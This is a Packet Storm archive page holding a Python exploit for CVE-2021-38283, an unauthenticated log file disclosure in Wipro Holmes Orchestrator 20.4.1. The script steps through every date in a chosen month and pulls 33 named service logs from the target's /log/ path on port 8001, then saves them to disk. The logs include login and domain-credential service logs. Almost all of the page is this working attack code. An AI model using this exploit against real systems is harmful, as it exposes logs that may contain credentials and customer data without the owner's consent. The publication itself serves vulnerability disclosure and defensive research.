what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Wipro Holmes Orchestrator 20.4.1 File Disclosure

Wipro Holmes Orchestrator 20.4.1 File Disclosure
Posted Nov 22, 2021
Authored by Rizal Muhammed

Wipro Holmes Orchestrator version 20.4.1 unauthenticated log file disclosure exploit.

tags | exploit
advisories | CVE-2021-38283
SHA-256 | 502d10437969505b9954475d260c67912ed441e4f7435ab422de904ab296060a

Wipro Holmes Orchestrator 20.4.1 File Disclosure

Change Mirror Download
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure
# Date: 09/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38283

import requests as rq
import argparse
import datetime
import os
from calendar import monthrange
from multiprocessing.dummy import Pool as ThreadPool
from functools import partial

# Change if running on different port
port = 8001

log_list = [
"AlertService.txt",
"ApprovalService.txt",
"AuditService.txt",
"CustomerController.txt",
"CustomerDomainCredentialService.txt",
"CustomerFileService.txt",
"CustomerService.txt",
"DashboardController.txt",
"DataParseService.txt",
"DomainService.txt",
"ExecutionService.txt",
"ExternalAPIService.txt",
"FilesController.txt",
"FormService.txt",
"InfrastructureService.txt",
"ITSMConfigPrepService.txt",
"LicenseService.txt",
"LoginService.txt",
"MailService.txt",
"MasterdataController.txt",
"NetworkService.txt",
"OrchestrationPreparationService.txt",
"ProblemInfrastructureService.txt",
"ProcessExecutionService.txt",
"ServiceRequestService.txt",
"SolutionController.txt",
"SolutionLiveService.txt",
"SolutionService.txt",
"StorageService.txt",
"TaskService.txt",
"TicketingService.txt",
"UserController.txt",
"UtilityService.txt"

]

def check_month(val):
ival = int(val)
if ival > 0 and ival < 13:
return ival
else:
raise argparse.ArgumentTypeError("%s is not a valid month" % val)

def check_year(val):
iyear = int(val)
if iyear >= 1960 and iyear <= datetime.date.today().year:
return iyear
else:
raise argparse.ArgumentTypeError("%s is not a valid year" % val)


def do_request(target, date, log_file):
log_url = "http://%s/log/%s/%s" % (target, date, log_file)

log_name = "%s_%s" % (date, log_file)
print ("[*] Requesting Log: /log/%s/%s" % (date, log_file))

resp = rq.get(log_url)

if resp.status_code == 200 and not "Wipro Ltd." in resp.text:
print ("[+] Success : %s" % log_url)
#print (resp.text[0:150] + "\n<...snipped...>")
with open("logs/%s" % log_name, 'w') as lf:
lf.write(resp.text)
lf.close()
print ("[*] Log File Written to ./logs/%s" % (log_name))

def main():

parser = argparse.ArgumentParser(
description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure",
epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick"
)

parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-m","--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True, type=check_month)
parser.add_argument("-y","--year", help="year of the log", required=True, type=check_year)
args = parser.parse_args()

ndays = monthrange(args.year, args.month)[1]
date_list = ["%s" % datetime.date(args.year, args.month,day) for day in range(1,ndays+1,1)]

target = "%s:%s" % (args.target_ip, port)

# create folder "logs" to save log files, if does not exist
if not os.path.exists("./logs"):
os.makedirs("./logs")

for log_date in date_list:
for log_file in log_list:
do_request(target, log_date, log_file)

if __name__ == "__main__":
main()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close